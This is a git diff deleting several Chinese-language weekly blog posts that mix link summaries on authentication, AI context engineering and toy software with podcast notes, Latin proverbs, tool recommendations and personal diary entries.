secure](https://tailscale.com/blog/frequent-reauth-security) - -文章首先指出了登录认证(Authentication)的两个目的: - -1. 检查用户是否在物理上持有设备; -2. 检查用户的身份。 - -许多应用为了保证安全性,把登录凭证的有效期设置得很短,导致用户每过半小时、几小时或者几天就要重新登录一次。如果登录只是输入密码,那还算好,但现在用户往往还需要通过多重因素验证,输入各种验证码,这些重复又繁琐的操作极大地拉低了用户体验。 - -作者认为上述策略的问题如下: - -1. 如果远程攻击者获取了用户的密码,那么要求用户重新输入也没有用;相反,如果用户需要多次输入密码,输入密码的过程反而让密码更容易被泄漏。 -2. 现代操作系统会自动锁屏,这点就极大地保证了设备不被盗用,应用不必再多此一举。 -3. 有的网站为了保证安全性,又不影响用户体验,会把登录凭证的过期时间设置为七天或者三十天左右,但这毫无意义,因为太长了,几乎拦不住什么攻击者;如果太短,又会让用户感到很烦。显然限制登录凭证的过期时间不是最优解。 - -作者推荐这样的策略: - -1. 在敏感操作之前进行验证,而不是根据时间间隔。 -2. 通过安全相关的属性和状态来调整验证策略。 - -作者认为最好的安全保障措施应当是不会给用户造成困扰的。 - -[#计算机](/tags/计算机/) [#设计](/tags/设计/) - -### 什么是值得思考的哲学问题? - -> [!note] 📻 -> 播客链接:[Apple Podcast](https://podcasts.apple.com/cn/podcast/%E7%8B%AC%E6%A0%91%E4%B8%8D%E6%88%90%E6%9E%97/id1711052890?i=1000713519310) / [小宇宙](https://www.xiaoyuzhoufm.com/episode/6853893c4abe6e29cbe4bff9?utm_source=rss) - -其实我对这期播客聊的「如何谈恋爱和分手」兴趣不大,但树老师做学问的态度让我很触动。树老师在开头浅谈了现代人与哲学的关系:哲学和我们的距离究竟有多远?她说很多人认为真理不会存在于大众当中,大众只会产出平庸,所以这些人就把哲学弄得晦涩难懂,就连翻译的时候总是堆砌一些文雅古朴的词藻,把门槛拉高,让哲学只被少数人讨论以保证其纯粹性。[^2] - -但 Princeton University Press 的 How To 系列丛书则打破了这一点。我在亚马逊上找到了这些图书,它们的标题都是这样的: - -- How to Talk about Love(如何谈论爱) -- How to Lose Yourself(如何放下) -- How to Eat(如何吃饭) -- How to Have Willpower(如何获得意志力) -- How to Make a Home(如何布置家) -- …… - -树老师指出这些与现代人息息相关的问题其实早就有人讨论过了,人们可以在古代哲学家的著作中找到一些答案。她还提到对于不做学问的普通人来说,知识就应该是能够用来解决问题的,而不是「为了提升自身素养」而学。 - -加缪在《西西弗神话》里说:真正严肃的哲学问题只有一个,那便是自杀。因为自杀就意味着个体觉得人生「不值得活了」,背后的原因能引发很多有关「荒诞感」的思考。而我在读这本书的时候,在反复的叙述中总是觉得难以把握「荒诞感」这个概念的定义。别误会,我很喜欢加缪,我也喜欢尝试理解晦涩知识的过程;只不过,我认为最值得思考的哲学问题不见的是最严肃的,对个体来说,最值得思考的哲学问题就是当下的自己最需要解决的问题。 - -[#哲学](/tags/哲学/) - -### 与陌生人的 30 分钟 - -> [!note] 📜 -> 文章链接:[30 minutes with a stranger](https://pudding.cool/2025/06/hello-stranger/) - -一项研究记录了人们与陌生人在聊天 30 分钟前后的情绪变化,作者从其中抽取了一些样本,发现无论年龄差距、种族差异,甚至是政治观点的差异,人们都能聊得很开心,那些被激怒进而终止对话的例子只是少数。随着聊天的推进,人们的心情逐渐变好了。 - -尽管有些陈词滥调,但这篇文章想要指出的是人们对他们与陌生人的关心有些迷思,在陌生人面前不容易感到安全,倾向于避免和陌生人社交。然而和陌生人聊天对个体来说是有益的,作者发现一些人在和陌生人聊天的时候,甚至会更坦诚地讲一些他们和朋友家人都不一定会谈论的事情。 - -另外,每次读完 The Pudding 上面的文章都佩服他们的前端设计,能把页面滚动和交互做得这样生动。 - -[#人际交往](/tags/人际交往/) - -## 👁️🗨️ 本周引文 - -> [!note] 🎉 -> 恭喜你发现新栏目!最近读了一些法国文学,书中常出现一些拉丁谚语,自己收集了不少,想着可以每周挑一个出来讲讲。 - -{{< quotecard >}}Intelligenti pauca.{{</ quotecard >}} - -这条谚语我是在《[红与黑](/library/2025/红与黑/)》里抄来的,意思是「语妙不在言多」。这句话就两个词,本身就符合自身阐述的观点,非常 Meta。其中,Intelligenti 似乎是 Intelligent(智慧)的意思,但其实是拉丁语单词 intellego 的某个格位变化,意思是「理解」「感知」[^3];pauca 的原形是 paucus,意为 few、little(很少)。原意大概是「很少的词就足够理解了」。 - -之前有一段时间我把这句话写在便签上,贴在了自己的书桌旁。我在最近的写作中也有试着避免写废话,精简用词。我认为这句话有两个意思:一、很少的词句就足以表达和被理解;二、如果写得太多、说得太多,可能是因为理解还不够深刻。 - -## 🗣️ 碎碎念 - -### 特别栏目:人类赶紧灭绝吧 🥰 - -和别人一起做项目的时候我们都用大模型写代码,这几天被一部分组员写代码的方式给气笑了。看来==程序员的水平并不会因为有了 AI 工具就变得难分高下,有的人用 AI 写的代码依然是一团糟==。 - -有一个进度很慢的组员,遇到问题也不在群里吭声;最近一次他提交的代码出了问题他好像一直没修好,我猜他大概反复喂给 AI 改了好多遍,结果我运行他提交的代码一看,前端控制台的报错再明显不过了:有一个函数没被定义就被调用了。不仅如此,他的好多代码都在交给 AI 反复改的过程中改乱了,好多地方都是空引用。后来,他的代码又出了问题,和登录验证有关,他就发在群里问负责登录验证模块的组员;结果我翻开他的代码,又很快地发现了问题,他的 AI 在前端加了一串不明所以的登录相关的逻辑,他遇到的问题完全是自己的代码导致的…… **你完全不读 AI 写出来的代码吗?** - -之前出去接水路过他桌子的时候,发现他在复习,没有在写代码;回来的时候又看了一次,发现他**他妈**是在学日语。 - -关于那个组员没有发现前端报错的事情,大概也要怪教前端的那个老师,他 Debug 的方式就是通过右键菜单打开源代码,直接读纯的 HTML 和 CSS。他自己都不会用现代浏览器的检查元素和控制台,更别说教学生了。我很想问他:你自己写的不就是静态的 HTML 和 CSS 吗?在浏览器里浏览源代码难道会有什么不一样? - -也要怪他的沟通能力,我看他进度最慢,大概是遇到什么修不好的报错卡住了,也没点名道姓,就在群里说进度慢的可以描述一下问题其他人帮忙一下,因为有一半的人已经把自己的分工做完了。结果他发了个「痛……」的表情包然后什么也没说。他求助的时候描述问题的方式是这样的:「显示1秒,一下跳到登录」。不难想象,**他给 AI 写提示词的时候也是这个样子的。** - -上次的项目,体量也没有比这次小多少,这次的项目最多是比上次大了一半。 - -上次我一个人硬干了三天就做完了,第四天早上答辩完就走人了。这次非要组队,一共 6 个人,干了四天还没干完,第五天那个组员还在用 AI 修一些莫名其妙的 Bug。 - -我真的挺无奈的,除了组员进度慢,还觉得我们学校的课程安排和授课内容问题不小。经常需要合作做项目,但没人教 Git 或者别的什么版本管理工具,这次项目的 Git 仓库是我建的,怎么配置和使用也是我一张一张截图发群里手把手教他们的。上前端开发的课老师天天唠嗑慢慢讲 HTML+JS+CSS,做项目的时候我想用 React 或者 Vue,结果除了我没一个人会,只能滚回去用 JSP。我的分工早做完了,想上去帮别人把代码写了,又担心他已经写了一部分,合并的时候还有处理冲突;有人提交用 AI 写的、看都没看的代码之后,我大概率还要修 Bug,项目里一大堆冗余的代码和不明所以的注释我懒得管了;组员写的前端界面只会用 Bootstrap 的表格样式,根本看不了,我也是一个一个改的。上次一个人写的项目拿了 95 分,这次能有 85 分都得给老师磕一个。 - -**活在一开始就都交给我一个人干得了。** - -### 正常的碎碎念 - -- 出租屋里的冰箱一天比一天吵,家里要变成飞机场了…… 把冰箱后盖拆了检查,发现压缩机上面沾了一大坨好像动物油脂一样的东西,还有各种污渍。一开始想检查一下是不是四个脚没固定好所以振动声很大,结果刚碰到压缩机手差点没被烫熟——这玩意一直运行好像没停过,估计早过热了。后来用湿纸巾把压缩机擦干净,还把里面的东西也清洁了一下,然后把背板装回去,插上电就没管了。本来压缩机还轰鸣了半个多小时,我都想联系房东维修了,结果写完文章摘下耳机感到前所未有的清静,侧边也不发烫了…… ~~我也是会修冰箱的男人了~~ ☝️🤓(不是 -- 怎么会有*蠢货*写完代码几天不管,要验收的时候才发现他根本没推送更新啊 😅 -- 这周买了 Airpods 之后才发现自己之前买的价格在 200 以下的耳机可能真的都只是在「听个响」。 -- 不知道为什么这周过得很长,感觉周刊写了好久才等到发布。 -- 这周家里新增的东西: - -{{< gallery >}} - - - -{{</ gallery >}} - -[^1]: *正在写这段文字的我看着即将和时针一起指向 12 的分针陷入了沉思* - -[^2]: 我在最近的[一篇文章](/posts/被人类自己剁碎的大脑/)里也简要提到,哲学在不少有偏见的人眼里已然成为了一种「文体」。 - -[^3]: 这个词的原形可能并不是 intellego,因为拉丁语的格位变化太复杂了,我在 Wikitionary 翻了半天都搞不清楚哪个是原形。 diff --git a/content/posts/weekly/35.md b/content/posts/weekly/35.md deleted file mode 100644 index cea58c6d..00000000 --- a/content/posts/weekly/35.md +++ /dev/null @@ -1,179 +0,0 @@ -+++ -title = "稻草人周刊 Vol.35" -subtitle = "做数字时代的「科萨人」" -tags = [ - "效率", - "技术", - "人物速写", - "心理学", - "软件", - "编程", -] -date = 2025-06-30 07:31:00 -categories = "稻草人周刊" -banner = "https://r2.eltr.ac/picgo2025/IMG_20230702_194542.jpg" -draft = false -toc = true -endnotes = [ - "封面自摄,记不清是哪里的云了", -] -mentioned_books = [ - "包法利夫人", -] -aliases = [ - "/posts/weekly/35", -] -+++ -<iframe allow="autoplay *; encrypted-media *;" frameborder="0" height="450" style="width:100%;max-width:660px;overflow:hidden;background:transparent;" sandbox="allow-forms allow-popups allow-same-origin allow-scripts allow-storage-access-by-user-activation allow-top-navigation-by-user-activation" src="https://embed.music.apple.com/cn/album/virgin/1810905299"></iframe> - -Lorde 的新专辑《Virgin》在这周发布了。每周都在纠结周刊开头应该放哪首歌,尤其是自己非常情绪化的时候。这周改了三次周刊的音乐部分,原先是 Olivia Rodrigo 的《favorite crime》、Lady Gaga 的《LoveDrug》,然后是 Billie Eilish 的《THE GREATEST》。 - -<!--more--> - ---- - -如你所见,这期周刊各部分的小标题看起来不太一样了。别担心,大部分栏目只是名字改了而已。这么做的一个原因是 Emoji 在不同操作系统上的显示效果不一致,而且大部分都看起来花里胡哨的;另一个原因是我想要~~装神弄鬼~~展现一些个性。 - -旧栏目和新栏目的对应关系: - -- 「↯ · 当下」→「🙋 在做什么」 -- 「↺ · 回拨」→「✍️ 本月令我满意的作品」 -- 「⋈︎ · 连接」→「💬 本期杂谈」 -- 「※ · 妙语」→「👁️🗨️ 本周引文」 -- 「∬ · 切片」→「🗣️ 碎碎念」 - -从这期周刊开始增设了新的栏目「⁂ · 星群」,名字来自 GitHub 的 Star 功能,分享那些我这周看到的觉得有意思的项目、网站和简单的想法。 - ---- - -## ↯ · 当下 - -- 博客的改动(最近没心思写代码,所以是 Vibe Coding,只顾实现需求了) - 1. [统计页面](/stats/)增加了「文章发布时间分布」统计图,毫无疑问地是凌晨发布的文章最多。 -  - 2. 简化了文章底部混乱的交互逻辑,把「评论」「点赞」「群聊链接」和「赞赏连接」全都放在了一条直线上。 -  - 3. [标签](/tags/)页面显示的标签做了微调,一些标签加上了图标,文章数量较小的标签的样式变得不显眼了;同时还给标签增加了分类,目前只有「归档」这一个分类。内容变多之后标签也变得混乱了,等忙完这一阵就会把标签规范一下。 -  -- 没心思去健身房,也不想和不必要的人打交道(另一个原因是有些身材焦虑),所以坚持在家做俯卧撑了。对身材没太多追求,只想练练胸肌。现在每天吃两块鸡胸,鸡见了我大概要绕着走。 -- 一年以来第一次止不住地嚎啕大哭,还是两次,其中一次在大白天哭到自己昏睡过去。这是健康的情感表现吧。 -- 和 [Broca](https://brocalife.com) 电话聊了好久。 - -## ↺ · 回拨 - -> [!note] 🔍 -> 这是六月的最后一期周刊,照例进行本月的文章回顾。 - -1. [搬家如何帮我理解现代人与消费的关系?](/posts/搬家如何帮我理解现代人与消费的关系/)<br/> - 本文从我对自己行为的观察为出发点,阐述了消费行为(消费商品和消费实用信息)是如何帮助个体缓解焦虑的,又提及消费文化是如何制造焦虑的,最后呼吁读者停止下意识地用消费行为缓解焦虑,因为那实际上是在逃避真正的问题。 -2. [喝咖啡如何帮我开发自己的 S 属性?](/posts/喝咖啡如何帮我开发自己的s属性/)<br/> - 此处的 S 指 MBTI 理论中的一个感知功能,表示 Sense(感觉),对应的另一个感知功能是 iNtuition(直觉)。本文先是论述了 N-S 这两个维度对人格的影响,为何这两类人很难相互理解。最后,文章呼吁各位 N 人(或者所有人)通过培养喝咖啡之类的需要用力感受的爱好,来帮助自己发展 S 功能,以便更全面、准确地认识这个世界。 -3. [看动画片如何帮我提升译者素养?](/posts/看动画片如何帮我提升译者素养/)<br/> - 尝试整理了翻译现实中人名的规范(结果发现几乎是没有规范),然后从动画片《小马宝莉》的角色译名入手,谈了谈虚构作品中的人物名称如何翻译。如果你好奇翻译工作为什么是一种创作,可以读读我的看法。 -4. [被错误抽象的抽象](/posts/abstraction/)<br/> - 本文涉及哲学的一个重要分支「形而上学」和计算机科学的相关知识,论述了哲学中的「抽象」与计算机中的「抽象」有何相似性,以及个体应该如何运用抽象来认识世界。另外,这其实是一篇词源学相关的文章。 -5. [被人类自己剁碎的大脑](/posts/被人类自己剁碎的大脑/)<br/> - 接着上个月的《[阅读应当是一种体验](/posts/reading-as-an-experience/)》,这篇文章分析了「碎片化信息为何无助于建立准确的理解」,批评了人们不愿意了解全貌、倾向于用最浅薄的语言解释概念的惰性,呼吁读者做个信息时代的反叛者。 - -另:如果你在意的话,这些文章的总结都是我根据记忆自己写的,没有使用 AI 工具,之前周刊里的总结也都是这样。 - ---- - -## ⋈︎ · 连接 - -### 做数字时代的「科萨人」 - -> [!note] 📜 -> 文章链接:[科萨人和祖鲁人 \| Limboy](https://limboy.me/posts/amaxhosa-amazulu) - -作者从科萨人和祖鲁人的区别想到,我们面对智能手机的态度或许也应该像「科萨人」一样,而不是像「祖鲁人」那样排斥新事物。严格践行数字极简主义,不断地进行 App 断舍离,甚至想把手机换成功能机,完全消除它的便利性,这是一种守旧的做法。我在读过《[数字极简](/library/2024/数字极简/)》之后,就成了这样的「祖鲁人」。在写下这段文字的不久前,我就从手机上卸载了小红书和哔哩哔哩,现在我的手机上除了 NetNewsWire 这个 RSS 阅读器和 Apple Podcast,几乎就没什么信息流可以刷了,而且这两个软件的信息也是极其有限的。 - -作者说他想要成为一名数字时代的「科萨人」,用更高级的「理解、学习和为我所用」的策略,而非排斥和消除,来驯服自己的智能手机。作者总结的四条核心思想如下: - -1. 认清智能手机已经成为现代人生活不可分割的一部分这一事实,不要指望频繁通过断舍离等方法解决问题。 -2. 理解算法如何工作,理解智能手机的语言,这样才能从被动的接受者转变为冷静的观察者。 -3. 不被手机和 App 的预设功能所定义,而是要让它实现自己的目的。 -4. 划清和手机的边界,主动设计的自己数字环境,而不是完全地脱离。 - -作者还提到,他在践行数字极简之后丧失了为手机开发 App 的兴趣,这一点我深有同感,我总是觉得「这个东西非要用手机做不可吗?」,这种想法可能限制了自己的创造力。 - -[#效率](/tags/效率/) [#技术](/tags/技术/) - -### 「只想做个好人」的高学历巨婴 - -> [!note] 📺 -> 相关剧集:《扑克脸》第二季第 10 集 - -美剧《扑克脸》最新一集的故事是关于一个健身房老板的,健身房以「100% 天然环保」的口号为理念,也因此不卖类固醇之类的药物,卖的是老板妻子从母婴医院里偷来的「母乳」(大概是因为母乳蛋白质含量很高?)。这当然是不卫生且不合法的,所以是发生在健身房内的私下交易,后续的剧情发展很容易猜。我觉得这集最值得品味的是健身房老板 Brick 的人物形象。 - -Brick 一直想维护他和善、友好、追求天然的体肤之美的品牌形象,但无奈环保的成本实在是太高了,健身房入不敷出,一直被催款。Brick 是体育相关专业的博士,是一个很典型的读书人,在理想与现实的矛盾面前,他不愿意放弃理想。 - -他不是个妈宝男,但恋母情结非常明显,到了令人不适的地步。首先,他的妻子是一个在母婴医院工作,照顾婴幼儿的护士,她和 Brick 的相处模式也和妈妈带儿子非常相似,而且不是对待成年子女的方式——Brick 吃饭要妻子帮他戴上餐巾,要妻子用勺子喂他,最喜欢的食物是鸡块…… Brick 遇到麻烦时非常情绪化,需要被妻子抱在怀里哭哭。还记得他卖「母乳」给健身房的顾客吗?他自己也喝,当他妻子不在身边的时候,他一个人躲在办公室里喝冰箱里的母乳,一边喝一边哭。在故事的最后,真相败露,Brick 崩溃地跟妻子诉说「我做了件坏事…… 我只是想做个好人……」的时候,妻子见没办法让他平静下来,就从包里掏出来一瓶母乳给他喝。他哭着从瓶子里嘬奶喝的样子真的很像个婴儿。 - -因为是巨婴,人格上很不成熟,他也「看不见别人」。故事的另一个角色 Rodney 经常跟 Brick 抱怨「他从来不听自己说话」,跟 Brick 说过六遍的事情他都记不住,Brick 还一直把他错叫成 Robbie…… 在故事的最后,他和主角 Charlie 发生冲突时一直在乱砸健身房里的东西,受到侮辱时他只会一直大喊「我可是有博士学位的!」。为了维护自己「好人」的形象,他做了很多坏事、撒了很多谎,当他自己也意识到这点时,他一个人躺在健身房里举重,一边哭一边听耳机里播放的「你是勇敢的,你是坚强的,你是美丽的……」 - -我想,这种藏在硬汉外表下的婴儿应该不是少数。 - -[#人物速写](/tags/人物速写/) [#心理学](/tags/心理学/) - -### 编写玩具软件是种乐趣 - -> [!note] 📜 -> 文章链接:[Writing Toy Software Is A Joy](https://blog.jsbarretto.com/post/software-is-joy) - -作者很喜欢费曼的名言「What I cannot create, I do not understand.」(我不能理解我不能创造的东西),这句话在我听来很极客、很 nerd。 - -作者说不借助大语言模型工具从头开始编写玩具软件(Toy Software),对程序员来说,学到的东西要比读一本书来得多得多。作者列出了很多程序员可以自己尝试编写的玩具软件类型,比如正则表达式引擎、x86 操作系统内核、物理引擎、C 编译器和文字编辑器等。他还给出了每种程序的难度和所需的开发时间,给出了相关的参考资料,可以说很实用了。 - -我在[第 24 期周刊](/posts/weekly/24/)里分享过一篇《重造轮子的原则》,「不要排斥重造轮子」也是作者的观点。编写玩具软件的时候,也可以参考这篇原则。 - -[#软件](/tags/软件/) [#编程](/tags/编程/) - -## ⁂ · 星群 - -### Tufte CSS - -一个复古、精致的网页排版 CSS 工具,我喜欢这种简洁但不简单的风格,各个元素之间的间距和整个页面的边距处理得很舒服,字体也好看。可惜的是,我觉得这个网站所采用的靠左排版的方式不适合中文,因为中文很难显示出每行右侧参差不齐的起落感。 - -{{< gallery >}} - - -{{</ gallery >}} - -访问:[Tufte CSS](https://edwardtufte.github.io/tufte-css/) - -### 厚币(Thnickels) - -Theodore Nichols 说某一天有贼闯进了他的车库偷东西,当时能够用来防身的东西只有一袋硬币,但是那个袋子里面只有两枚硬币!贼嘲笑了他,还偷走了他最好的一把扫帚。他感觉被侮辱了,所以他决定铸造更厚的硬币(Thick Nickels)!于是厚币(Thnickels)诞生了! - -这个页面的设计跟这个故事一样无厘头,光是把网页称作万维网页面(world wide web page)这个说辞就很复古了。我很喜欢页眉上的旋转厚币,非常好玩。 - - - -访问:[Thnickels - Thick Coins by Theodore Nichols](https://thick-coins.net/) - -### cleanmac - -MacOS 上最著名的清理软件应该是 CleanMyMac,但是它的价格是 31.63 美元一个月(如果是月付的话就是 79.67 美元一个月),而且只授权给一台电脑。贵得实在是太离谱了。 - -`cleanmac` 这个开源的脚本也可以满足清理操作系统的需求,只不过用起来肯定没有 App 那样方便。效果很棒,我的 Mac 是 256GB 的丐版,定期清理一次可以释放 2GB 左右的存储空间。不过因为权限的问题,清理废纸篓和 Safari 缓存的时候可能会发生错误,大概要折腾一下配置才行。 - -如果把 `cleanmac.sh` 这个脚本放在 `bin` 目录下或者设置别名,就可以直接在终端输入 `cleanmac` 命令行执行清理操作。 - - - -访问:[GitHub - hkdobrev/cleanmac](https://github.com/hkdobrev/cleanmac) - -## ※ · 妙语 - -{{< quotecard >}}Castigat ridendo mores.{{</ quotecard >}} - -这句话是我在《[包法利夫人](/library/2025/包法利夫人/)》里抄来的,是一句拉丁谚语,我忘记书里给出的译文了。维基百科给出的英译文是:one corrects customs by laughing at them(改变习俗的方法就是嘲笑它)。这句话常被用来解释「讽刺艺术」的作用,一些人认为最佳的改变事物的方式,就是指出其荒谬之处并加以嘲笑。 - -在我看来,这句话还有另外一层意思,它把「嘲讽」的行为分了两级:一是以改变为目的的嘲讽,而是以愉悦自己为目的的嘲讽。除了「改变的方式是嘲讽」,也句话也暗示了「嘲讽应被用于改变」。改变别人或许很难,甚至有些自负,但嘲讽的行为本身就把嘲讽者和被嘲讽者自然地分开了——如果一件事情别人做起来很荒谬,那么自己也要离这些事情越远越好。 - -我依稀记得这句话出自《包法利夫人》中药房老板奥梅和神父的冲突,神父认为文学比音乐更有伤风化,排斥书籍(他所属的教派甚至不读圣经),奥梅用 Castigat ridendo mores 这句话反驳神父,因为奥梅是一个跟随潮流、赞许进步的人物,他拥抱改变,所以推崇多少带有一些讽刺意味的文学。一些守旧的人认为讽刺是邪恶的,一些实干的人认为讽刺是无用的,然而,讽刺的目的就是把「荒谬」摆到明面上来,让人们意识到改变的必要;反对讽刺就是反对进步,被讽刺中伤就是被改变中伤。 - -## ∬ · 切片 - -我无法停止想你。 diff --git a/content/posts/weekly/36.md b/content/posts/weekly/36.md deleted file mode 100644 index 114c7dc0..00000000 --- a/content/posts/weekly/36.md +++ /dev/null @@ -1,163 +0,0 @@ -+++ -title = "稻草人周刊 Vol.36" -subtitle = "创作不是诞生而是谋杀" -tags = [ - "内阻力", - "创作", - "AI", - "工程", - "人际交往", - "阅读", -] -date = 2025-07-07 07:28:00 -categories = "稻草人周刊" -banner = "https://r2.eltr.ac/picgo2025/IMG_3415.jpeg" -draft = false -toc = true -endnotes = [ - "封面图自摄,设备为 iPhone 15 Pro", - "无意翻到搬家前宿舍的书桌照片,于是就拿来做封面图了", -] -mentioned_books = [ - "一生之敌", - "包法利夫人", -] -aliases = [ - "/posts/weekly/36", -] -+++ -<iframe allow="autoplay *; encrypted-media *;" frameborder="0" height="150" style="width:100%;max-width:660px;overflow:hidden;background:transparent;" sandbox="allow-forms allow-popups allow-same-origin allow-scripts allow-storage-access-by-user-activation allow-top-navigation-by-user-activation" src="https://embed.music.apple.com/cn/album/%E6%88%91%E6%83%B3%E8%A6%81%E4%BD%94%E6%8D%AE%E4%BD%A0/1670343367?i=1670343372"></iframe> - -很喜欢这首歌的 Bridge 部分。 - -> 太快的問候都有盲點 -> -> 太慢的話語都有句點 -> -> 剛好的距離是突破點 -> -> 絕佳的時機要成熟點 - -> 太快的關係會有危險 -> -> 太慢的進展會斷了線 -> -> 成熟的自己早該出現 -> -> 幼稚的⼼靈藏在裡面 - -<!--more--> - -## ↯ · 当下 - -- 有条不紊地考试中,没干什么大事。 -- 周六以需要[他](/posts/不要把我从你的记忆里抹去/)帮我辅导考试为由叫他出来,之后请他吃了烤肉,然后他提议去 KTV 唱歌,我们直到凌晨十二点半才回去,路上什么都聊了聊。接近两点的时候我向他道了晚安,他第一次给了回应。他服药之后似乎变得有些迟钝,但慢吞吞的样子其实很可爱。这样挺好,不紧不慢,双方也都有些试探。眼神交错的瞬间会看到他对我笑,和我聊起某些事情的时候也显得兴奋,这大概也是好事。 - -## ⋈︎ · 连接 - -### 创作不是诞生而是谋杀 - -> [!note] 📜 -> 文章链接:[being too ambitious is a clever form of self-sabotage](https://maalvika.substack.com/p/being-too-ambitious-is-a-clever-form) - -作者认为过度的雄心壮志是一种「聪明的自毁」。在创作的前期准备、构想阶段,作品在创作者的想象里是完美无瑕的,是一个纯粹的由潜力构成的幽灵,用不可能存在的美让创作者着迷、不可自拔。 - -创作不是诞生,而是谋杀,谋杀不可能存在的「美丽幽灵」,让创作真正地服务于现实。 - -作者说,大脑分不清楚「有产出的准备」和「精致的拖延」之间的区别。想要成为企业家的人反复听一集博客,想要成为网红的人花几个小时的时间刷视频来「做研究」,想要成为小说家的人用几年的时间写人物的背景故事,然而真正的小说从未开写。作者谈论的其实是《[一生之敌](/library/2025/一生之敌/)》里的「内阻力」。 - -反直觉地,创作最好作品的路径往往开始于「允许自己创作出最烂的作品」。作者用一个老生常谈的摄影课故事举例:一个摄影老师将学生分成 A、B 组,A 组只要交 100 张照片就可以了,而 B 组需要呈现出一张「完美的照片」,最后,所有最好的照片都来自 A 组。作者认为「做」就是「学」的过程,而不是「学了再做」。我认为「学了再做」也是学生思维的一部分,认为自己需要通过学习赢得「创作的许可」,然而最重要的许可就是允许自己有个「烂开始」。 - -[#内阻力](/tags/内阻力/) [#创作](/tags/创作/) - -### 上下文工程 - -> [!note] 📜 -> 文章链接:[The New Skill in AI is Not Prompting, It's Context Engineering](https://www.philschmid.de/context-engineering) - -提示词工程(Prompt Engineering)已经过去,作者指出 AI 现在最需要的新技能是上下文工程(Context Engineering)。这是一个更广泛的概念,上下文(Context)就包括了用户输入的提示词(Prompt),以及 AI Agents 被提供的工具、API 等,还有对话的历史信息、能够访问的数据库和知识库等。 - -作者指出,如今 AI Agents 面临的不能正确完成任务的问题,并不是模型不够聪明导致的,也不是提示词编写不够准确导致的,而是大语言模型没有被提供正确的、所需的、有用的信息。上下文工程要求大语言模型能在正确的场合获取所需的上下文,比如在发送邮件时应该能够访问和收件人的历史信息以确定与其是否适宜,如果需要发送邮件确定行程安排,大语言模型也应该收到用户的日程表信息。提供正确的上下文才能最大程度地发挥模型的能力。 - -另外,时至今日我仍然不能接受 AI 能够访问我的隐私信息这件事情,我认为 AI Agents 面临的另一个问题是如何在隐私方面获取用户的信任。我也相信在未来,当硬件变得足够便宜,self-hoster 们会搭建自己的 AI Agents(或许现在已经有了?)。 - -[#AI](/tags/AI/) [#工程](/tags/工程/) - -### 如何共读一本书? - -> [!note] 📻 -> 播客链接:[233-如何共读一本书? - 独树不成林 - Apple 播客](https://podcasts.apple.com/cn/podcast/%E7%8B%AC%E6%A0%91%E4%B8%8D%E6%88%90%E6%9E%97/id1711052890?i=1000715645986) / [小宇宙](https://www.xiaoyuzhoufm.com/episode/6866f3f893fd2d72b86b72be?utm_source=rss) - -大部分人认为阅读是孤独的,最多只能算作读者与作者之间的交流,不会是常规意义的社交活动。树老师从他参与和组织读书会的经验来讲,读书可以成为一种真正的社交活动(而不是微信读书这种平台上一堆不认识的人在一本电子书上留下各种标记和批注,那是无意义的社交,也会让阅读变得碎片化)。 - -我印象最深刻的是在读书会中自我的表达,每个人,无论职业和知识背景,都可以从自己的经验中讨论「这本书和我(们)的生活有什么关系」,也可以引用其他作品,表示「这本书的这段话让我想到了另一本书(或者其他形式的作品)里的……」。这让我对读书会这一活动有了些改观,以前我其实是很讨厌一群人装腔作势地聚在一起读书的。不过,要组织这样「理想」的读书会似乎很难,因为装腔作势的人一定存在。树老师说她讨厌的是在读书会摆出「学者」的样子滔滔不绝地做冗长的文本考究,引用各种文本、指出翻译问题,完全不谈自己的见解——读书会不是不能没有文本考究,但「个人见解」一定是更重要的。 - -我在想,完全的引文、不停地讲「某某学者怎么看这部作品」,可能就是在掩盖「自己没有什么见解」「自己没有自主思考能力」的事实,所以只好用「自己好像读了很多书」的姿态来装点自己。 - -[#阅读](/tags/阅读/) [#人际交往](/tags/人际交往/) - -## ⊚ · 洞察 - -> [!note] 🎉 -> 恭喜发现新栏目,我会在这里分享近期做的一些小调查。 - -这周在 [Telegram 群聊](https://t.me/teaparty418) 发起了一个投票,主要有关对「社交媒体」的使用态度,共有 11 位群友参与了投票。 - - - -因为只有 11 个人,而且都来自我的群聊,当然不能代表大趋势。不过可以看出,使用社交媒体但自己很少发布内容的人占大多数,会发布内容的只有一个。 - -之前有看过相关研究[^3],指出使用社交媒体会影响幸福感,但这个结论不完全:使用社交媒体但频繁发布内容、分享自己的人反而能从社交媒体中获得更多的快乐,而整体上,在社交媒体上看比发更多的人更容易因此陷入焦虑。当然,也有群友在后续讨论中提出自己几乎不「社交」,而是把社交媒体当作纯粹的「媒体」,也就是信息来源,这种冷静的态度应该也更容易从社交媒体中收获益处。 - -有一部分人不使用社交媒体,但会使用不那么碎片化的输出渠道满足表达欲,比如博客。我之前写过一篇《[我与社交媒体](/posts/我与社交媒体/)》,也讲过我用博客代替社交媒体的方式,因为博客的评论区其实也能起到社交作用,而且愿意来留下评论的人往往是认真了解过我的观点的人,和他们交流起来也会更轻松、更有收获。 - -也有一部分人不输出,至少不公开地对外输出,所以也就不需要社交媒体了。比较惊讶的是我没有在我的读者里找到「会在多个平台之间同步内容」的社交媒体使用者,在我看来这样的人应该不少。 - -不知道你对社交媒体的态度如何?如果你觉得投票调查的形式很有意思,也欢迎加入本博客的 [Telegram 群聊](https://t.me/teaparty418),我会不定期地发布这样的投票。群里其实很少有人说话,大部分人都很和善,所以不必担心。[^4] - -## ⁂ · 星群 - -### MarkEdit - - - -仿造 MacOS 自带软件 TextEdit 设计开发的 Markdown 编辑器,很轻量,可以理解为一个专为 Markdown 设计的记事本,可以用于轻量的文本编辑。尽管我很爱原生应用,但不得不说 MarkEdit 的定位对我而言其实很尴尬,因为他没有 Typora 那样优雅的所见即所得,却保留了记事本一般的简陋,一些操作按键对熟练 Markdown 语法的用户来说完全是累赘。好在它比 Typora 体积小、速度快,如果是要简单地编辑(或者打开一些体积很大的文件),体验要比网页套壳的 Typora 好用。 - -总的来说使用场景很局限,但胜在体积小、能伪装成 TextEdit 一样的自带应用,装一个也不碍事。日常写作的话我还是会继续用 Obsidian。 - -访问:[GitHub - MarkEdit-app/MarkEdit](https://github.com/MarkEdit-app/MarkEdit) - -### VERT.sh - -一个注重隐私、所有操作在本地完成的文件格式转换工具,可以 self-host。除了视频的格式转换需要上传至服务器进行处理,其他的都可以在浏览器内运行,不用担心隐私泄漏,而且无需经过网络上传和下载也会让所需的总时间大大减少。 - -转换文件格式是我经常用到的操作,一般都用来处理图片,很少有转换视频这种比较「重」的需求,但大部分格式转换类的 App 都是主要用来处理视频的,所以体积往往比较大,基于 Web 的解决方案在我看来更适用于轻量化的需求。 - 